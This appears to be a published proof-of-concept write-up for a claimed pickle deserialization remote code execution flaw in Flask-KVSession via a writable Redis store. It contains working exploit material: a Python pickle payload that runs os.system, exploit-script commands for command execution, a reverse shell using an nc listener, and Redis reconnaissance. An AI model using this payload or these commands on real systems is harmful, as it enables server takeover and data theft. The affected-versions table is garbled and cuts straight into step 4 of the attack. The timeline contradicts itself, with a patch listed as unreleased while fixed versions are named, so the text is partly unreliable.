Share
## https://sploitus.com/exploit?id=270DADC9-BDFC-5EEA-9D1E-D0E70135D590
# Flask-KVSession Pickle Deserialization Remote Code Execution

**CVE**: Pending (submitted to MITRE)  
**CVSS 4.0**: 10.0 CRITICAL  
**CWE**: CWE-502 (Deserialization of Untrusted Data)  
**Discovered**: June 2026  

## Summary

Flask-KVSession and its fork (Flask-KVSession-fork) use Python's `pickle` module for serializing and deserializing session data stored in Redis. An attacker with write access to the Redis backend can inject a malicious pickle payload that, when deserialized by the Flask application, results in **unauthenticated remote code execution**.

The session ID is the only thing stored in the client-side cookie โ€” the actual session data lives in Redis under the key `kvsession:`. When the server processes a request, it fetches the raw bytes from Redis and passes them directly to `pickle.loads()`.

## Affected Versions

| Package | Affected | Fixed In |
|---------|----------|----------|
| `flask-kvsession` | `)

4. **Attacker sets their session cookie** to the crafted session ID

5. **Server deserializes the payload** โ†’ **RCE**

### Attack Graph

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”     Redis Access      โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Attacker   โ”‚ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ  โ”‚   Redis DB   โ”‚
โ”‚             โ”‚     write payload      โ”‚              โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”˜                       โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
       โ”‚                                      โ”‚
       โ”‚  request with                        โ”‚
       โ”‚  malicious session cookie            โ”‚
       โ–ผ                                      โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚              Flask App (flask-kvsession)              โ”‚
โ”‚                                                       โ”‚
โ”‚  1. Get session ID from cookie                        โ”‚
โ”‚  2. Fetch bytes from Redis: GET kvsession:       โ”‚
โ”‚  3. Call pickle.loads(bytes)  โ† RCE HERE             โ”‚
โ”‚  4. Use deserialized session object                   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

## Proof of Concept

### Setup

```bash
# Clone this repository
git clone https://github.com/deepanshhooda/flask-kvsession-pickle-rce
cd flask-kvsession-pickle-rce

# Start the vulnerable lab
docker-compose up -d

# Verify services are running
curl http://localhost:5000/
```

### Exploitation

**Scenario 1: Command Execution**

```bash
# Run the exploit against the Redis backend
python3 exploit/exploit.py \
    --redis-host 127.0.0.1 \
    --redis-port 6379 \
    --flask-url http://127.0.0.1:5000 \
    --command "id"

# Output:
# [+] Connected to Redis at 127.0.0.1:6379
# [+] Injected malicious pickle payload into Redis
# [+] Exploit triggered! uid=1000(app) gid=1000(app) groups=1000(app)
```

**Scenario 2: Reverse Shell**

```bash
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit with reverse shell
python3 exploit/exploit.py \
    --redis-host 127.0.0.1 \
    --redis-port 6379 \
    --flask-url http://127.0.0.1:5000 \
    --reverse-shell \
    --lhost YOUR_IP \
    --lport 4444
```

**Scenario 3: Redis Reconnaissance**

```bash
# Check if the target's Redis is accessible
python3 exploit/exploit.py \
    --redis-host  \
    --redis-port 6379 \
    --recon
```

### Manual Exploitation

```python
import pickle, redis, requests

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('id',))

# 1. Connect to exposed Redis
r = redis.Redis(host='target-redis', port=6379)

# 2. Create malicious session
sid = 'evil-session-id'
payload = pickle.dumps(RCE(), protocol=0)
r.set(f'kvsession:{sid}', payload)

# 3. Trigger deserialization
requests.get('http://target-flask:5000',
             cookies={'session': sid})
```

## Impact

- **Critical**: CVSS 4.0 Score 10.0
- **Unauthenticated RCE**: No authentication required if Redis is accessible
- **Full server compromise**: Attacker gains the privileges of the Flask application process
- **Persistence**: In many configurations, the Redis backend persists data, allowing the attacker to inject a payload once and have it execute against every vulnerable app instance
- **Network pivot**: The compromised server can be used to attack internal systems
- **Data exfiltration**: Access to database credentials, API keys, and application data stored in the environment

## Remediation

### Immediate Fix

1. **Upgrade to the patched version**:
   - flask-kvsession: `pip install flask-kvsession>=0.6.3`
   - Flask-KVSession-fork: `pip install Flask-KVSession-fork>=0.6.5`

### Alternative Serialization

2. **Replace pickle with a safe serialization format**:
   - `json` (for simple session data)
   - `msgpack` (for binary-safe, faster alternative)
   - `itsdangerous` (Flask's built-in signing, already used by default Flask sessions)

### Defense in Depth

3. **Secure Redis deployment**:
   - Set `requirepass` with a strong password
   - Use `rename-command FLUSHALL ""` and `rename-command CONFIG ""`
   - Bind to localhost or private network only
   - Use network segmentation (separate VLAN for Redis)
   - Enable TLS for Redis connections
   - Use `redis-sentinel` or `redis-cluster` in production

4. **Input validation**:
   - Validate session IDs before lookup
   - Implement integrity checks (HMAC) on serialized data
   - Consider using signed session cookies instead of server-side sessions

## Disclosure Timeline

| Date | Event |
|------|-------|
| 2026-06 | Vulnerability discovered during security audit |
| 2026-06 | CVE ID requested from MITRE |
| 2026-06 | PoC published on GitHub |
| TBD | Vendor notified |
| TBD | Patch released |

## References

- [Original repository (mbr/flask-kvsession)](https://github.com/mbr/flask-kvsession)
- [Fork repository (infobyte/flask-kvsession)](https://github.com/infobyte/flask-kvsession)
- [Flask-KVSession PyPI](https://pypi.org/project/Flask-KVSession/)
- [Flask-KVSession-fork PyPI](https://pypi.org/project/Flask-KVSession-fork/)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CVE-2021-33026: Flask-Caching pickle deserialization (precedent)](https://nvd.nist.gov/vuln/detail/CVE-2021-33026)
- [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)

## Disclaimer

This PoC is provided for **educational purposes and authorized security testing only**. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse of this information.

## Author

- deepanshhooda